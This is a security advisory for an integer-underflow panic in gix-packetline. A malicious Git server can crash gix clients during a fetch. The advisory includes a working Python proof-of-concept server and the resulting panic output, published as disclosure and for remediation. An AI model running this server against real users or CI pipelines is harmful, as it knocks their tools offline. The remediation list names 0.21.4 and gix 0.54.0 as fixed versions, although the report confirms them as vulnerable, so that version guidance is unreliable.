GHSA-2vh6-hw4j-32ww: Integer Underflow
Summary gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.
Details In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.
(Related: an unchecked splitatmut in gix-packetline/src/blockingio/read.rs is in the same DoS class and worth hardening in the same pass.)
PoC Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.
1. Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:
python import socket HOST, PORT = "127.0.0.1", 9418 def pkt(d): return ("%04x" % (len(d)+4)).encode() + d FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890" def handle(c): c.recv(65536) c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n") +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH) buf=b""; sent=False while True: d=c.recv(65536) if not d: return buf+=d if b"command=ls-refs" in buf and not sent: c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n") +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf): c.sendall(pkt(b"packfile\n") + b"0005\x02") # band id 2, EMPTY payload try: c.recv(4096) except Exception: pass return s=socket.socket(); s.setsockopt(socket.SOLSOCKET,socket.SOREUSEADDR,1) s.bind((HOST,PORT)); s.listen(1); print("listening",PORT) conn,=s.accept(); conn.settimeout(5.0) try: handle(conn) finally: conn.close(); s.close()
2. Point the real client at it: RUSTBACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out
Observed: thread 'main' panicked at gix-packetline/src/lib.rs:199:20: index out of bounds: the len is 0 but the index is 18446744073709551615 exit code: 101 Impact A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.
Suggested fix Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.stripsuffix(b"\n").unwrapor(d);, or check !d.isempty() / d.last() == Some(&b'\n') before slicing.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
rust/gix-packetlineto a version that resolves this vulnerability.Fixed in 0.21.5 - Upgrade
Upgrade
gix-packetlineto a version that resolves this vulnerability.Fixed in 0.21.4 - Upgrade
Upgrade
gixto a version that resolves this vulnerability.Fixed in 0.54.0 - Configuration
In gix-packetline/src/lib.rs where TextRef strips a trailing newline using `d[d.len() - 1]`, change the logic to handle the empty-slice case (e.g., use `let d = d.strip_suffix(b"\n").unwrap_or(d);` or explicitly check `!d.is_empty()` / `d.last() == Some(&b'\n')` before indexing) to prevent usize underflow and panic on attacker-supplied empty payloads.
gix-packetline (gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef) Trailing-newline stripping logic (d[d.len() - 1] indexing) = Guard empty slice before slicing (only access d[d.len()-1] when d is non-empty)
Event History
Frequently Asked Questions
Who is exposed to this denial of service?
Any application using gix-packetline to fetch from an attacker-controlled or otherwise untrusted Git remote is exposed. A malicious Git server can trigger the failure during a normal fetch.
Does exploitation require authentication or prior access?
No. The issue is pre-authentication and network-triggered; the attacker only needs the victim to clone from or fetch an attacker-controlled remote.
What condition triggers the panic?
The server must send a side-band packet line containing only the band-id byte, leaving an empty payload after that byte is removed. Processing that empty payload causes an integer underflow and an indexing panic.
How can I determine whether my deployment is affected?
The issue was confirmed in gix v0.54.0 with gix-packetline 0.21.4, as well as current main at the time of the report. Review your dependency version and whether it fetches from untrusted remotes.